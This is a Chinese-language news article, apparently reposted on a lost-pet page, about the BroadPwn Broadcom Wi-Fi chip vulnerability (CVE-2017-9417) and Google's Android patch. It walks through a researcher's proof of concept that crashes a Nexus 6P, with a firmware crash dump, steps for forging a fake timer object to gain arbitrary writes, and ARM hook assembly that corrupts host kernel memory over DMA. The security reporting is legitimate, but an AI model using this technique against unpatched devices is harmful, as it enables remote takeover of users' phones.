search
尋找貓咪~QQ 地點 桃園市桃園區 Taoyuan , Taoyuan

用BroadPwn漏洞黑掉了安卓手機,數百萬台設備面臨侵入風險

谷歌最近發布了針對Android設備的每月安全公告,其中涉及了到了博通Wi-Fi晶元的嚴重漏洞,足以影響到數百萬台Android設備。

這個遠程代碼執行漏洞被稱為BroadPwn,存在於博通旗下的BCM43xx Wi-Fi晶元組中。

這個漏洞不需要用戶交互就可以遠程激活,允許黑客利用核心許可權遠程攻擊Android設備,執行惡意代碼。

近日,一名昵稱為ZHUO WEI的技術人員在其博客上發布了一篇文章,講述他如何利用Nitay Artenstein發現的Broadpwn 漏洞(CVE-2017-9417),通過Wi-Fi使安卓手機崩潰。

Nitay Artenstein

如果你的手機連接了不安全的無線網路,黑客可以利用Broadpwn漏洞控制你的Wi-Fi晶元,繼而使用DMA攻擊控制整個手機。

為了驗證可行性,ZHUO WEI製作了一個惡意網路,利用漏洞使一部Nexus 6P的內存崩潰,導致手機重啟。

ZHUO WEI之前利用漏洞造成內存堆的越界寫操作,導致Wi-Fi晶元在讀取無效地址時崩潰。

  • [ 695.399412] CONSOLE: FWID 01-a2412ac4

  • [ 695.399420] CONSOLE: flags 60040005

  • [ 695.399425] CONSOLE: 000003.645

  • [ 695.399430] CONSOLE: TRAP 4(23fc30): pc 5550c, lr 2f697, sp 23fc88, cpsr 2000019f, spsr 200001bf

  • [ 695.399435] CONSOLE: 000003.645 dfsr 1, dfar 41414145

  • [ 695.399441] CONSOLE: 000003.645 r0 41414141, r1 2, r2 1, r3 0, r4 22cc00, r5 217634, r6 217048

  • [ 695.399449] CONSOLE: 000003.645 r7 2, r8 56, r9 1, r10 216120, r11 217224, r12 8848cb89

  • [ 695.399455] CONSOLE: 000003.645

  • [ 695.399460] CONSOLE: sp+0 00000002 0022cc00 0022d974 00217634

  • [ 695.399465] CONSOLE: 000003.645 sp+10 00000004 0001aa83 0022d97f 00000168

  • [ 695.399471] CONSOLE:

  • [ 695.399476] CONSOLE: 000003.645 sp+14 0001aa83

  • [ 695.399481] CONSOLE: 000003.645 sp+38 000937eb

  • [ 695.399486] CONSOLE: 000003.645 sp+44 00003b15

  • [ 695.399492] CONSOLE: 000003.645 sp+4c 00088659

  • [ 695.399497] CONSOLE: 000003.645 sp+64 00008fc7

  • [ 695.399502] CONSOLE: 000003.645 sp+74 0000379b

  • [ 695.399507] CONSOLE: 000003.645 sp+94 00000a29

  • [ 695.399512] CONSOLE: 000003.645 sp+c4 0019a9e1

  • [ 695.399517] CONSOLE: 000003.645 sp+e4 00006a4d

  • [ 695.399523] CONSOLE: 000003.645 sp+11c 00188113

  • [ 695.399528] CONSOLE: 000003.645 sp+15c 000852ef

  • [ 695.399533] CONSOLE: 000003.645 sp+180 00019735

  • [ 695.399538] CONSOLE: 000003.645 sp+194 0001ec73

  • [ 695.399543] CONSOLE: 000003.645 sp+1bc 00018ba5

  • [ 695.399549] CONSOLE: 000003.645 sp+1dc 00018a75

  • [ 695.399554] CONSOLE: 000003.645 sp+1fc 0000656b

首先要要搞清楚的是,我們在覆蓋什麼。

堆分配是以8位元組開始的: 包含分配大小的uint32_t和一個指針。

連接到使用QoS的普通Wi-F網路,然後用dhdutil轉儲了Wi-Fi晶元的內存。接下里,使用一個堆可視化腳本來檢查整個堆,查找以0050f202開頭的分配(WME信息元素的開頭)。

有兩個分配是從這個位元組開始:在0x1f3550和0x21700c的塊。兩個分配後面都帶著另一個大小為0x78位元組的塊(在0x1f3584和0x217040)。

觀察崩潰記錄中的堆棧,我們可以發現r6=0x217048和第二個分配的開頭是相匹配的。所以溢出的地址應該是第二個。

接下來要覆蓋什麼呢?現在只知道下一個塊的大小(0x78)和內容(幾個指針,但是沒有函數指針)。

順著調用堆棧看上去,我們可以發現一個帶有函數名的printf調用的函數。

看上去是覆蓋了一個指向計時器的指針,而且在禁用它的時候導致硬體崩潰。

啟用時,這個類型的定時器會放置在單個鏈表中。一個計時器看起來是這樣的:

typedef struct wlc_hrt_to {

wlc_hrt_to_t *next; // 0x0

list_head *hrti; // 0x4

uint32_t timeout; // 0x8

void *func; // 0xc

} wlc_hrt_to_t;

所以禁用一個計時器的時,wlc_hrt_del_timeout會執行以下操作:

然後再錯誤調用超時添加功能,將這裡變成一個寫操作。

  • 製作一個假的定時器對象

  • 將指針指向列表頭的假鏈接頭

  • 這個假鏈接頭指向假計時器對象

  • 將這個假定時器對象上的下一個指針設置為指向要覆蓋的代碼

  • 將這個假對象的剩餘時間設置為我們要覆蓋的地址的當前值

  • 將定時器的功能指針與鏈接表頭的下一個指針重疊

決定將第一條指令改成dma64_txfast跳轉到溢出緩衝區的分支指令,允許通過dma方式對任意內存進行寫入和讀取。

  • 將覆蓋結構中的其他指針設置為null,以防止固件嘗試訪問它們時出現崩潰

  • 用0x41填充溢出結構的前端,使硬體禁用假的定時器

  • 確保硬體不會覆蓋我們的有效載荷

然後就可以執行代碼了。

崩潰主CPU

主要方法是用手機通過PCI Express連接Wi-Fi晶元組,允許任何內存寫入和通過DMA讀取。

使用Project Zero的DMA攻擊代碼,將D2H_MSGRING_TX_COMPLETE環的ringaddr為指向內核,然後利用dump_pci.py腳本轉儲了環形結構的地址,在主CPU的物理內存中編寫了一個將目標地址修補為0x248488的鉤子,並且修補了WME IE錯誤。

.syntax unified

.thumb

hook_entry: // 0x90

push {r0-r3,r4-r9,lr} // 0x217090

bl fullhook // 0x217094

pop {r0-r3} // 0x217098

.word 0xbaf9f774 // 0x21709a: branch to original txfast

fullhook:

ldr r3, patchoutaddr // 0x21709e

ldr r2, patchaddr // 0x2170a0

str r2, [r3] // 0x2180a2

ldr r2, ringaddr // 0x2180a4

ldr r3, valuewritten // 0x2180a6

str r3, [r2] // 0x2180a8

bx lr // 0x2180aa

valuewritten:

.word 0x00248488 // 0x2180ac physical address on the host side; seems to crash things...

patchoutaddr:

.word 0x1b8ad0 // 0x2180b0 function to patch

patchaddr:

.word 0x47702000 // 0x2180b4 mov r0, #0; bx lr note firmware overwrites byte 0 with a 0; it's fine

ringaddr:

.word 0x002397C4 // 0x2180b8 ringaddr of D2H_MSGRING_TX_COMPLETE dumped with Project Zero's dump_pci.py

下一次調用dma64_txfast時,代碼將修補DMA環,並且待處理的下一個Wi-Fi數據包將覆蓋主CPU內核的一部分,從而使其崩潰。

官方措施

谷歌在其七月份的Android安全公告中指出,這個漏洞最嚴重的地方在於它允許黑客在非特權進程中執行任意代碼,而且這個操作是可以遠程進行的。

由於Nitay Artenstein會在 Black Hat 2017上展示他的發現,所以目前還沒有更多關於BroadPwn漏洞的細節。

谷歌已經針對Pixel 和 Nexus 的設備進行了無線網路更新和硬體優化,但是其他Android設備還要繼續等待手機廠商的消息。

這也使得數百萬台Android設備還要繼續在漏洞中暴露好幾個月。



熱門推薦

本文由 yidianzixun 提供 原文連結

寵物協尋 相信 終究能找到回家的路
寫了7763篇文章,獲得2次喜歡
留言回覆
回覆
精彩推薦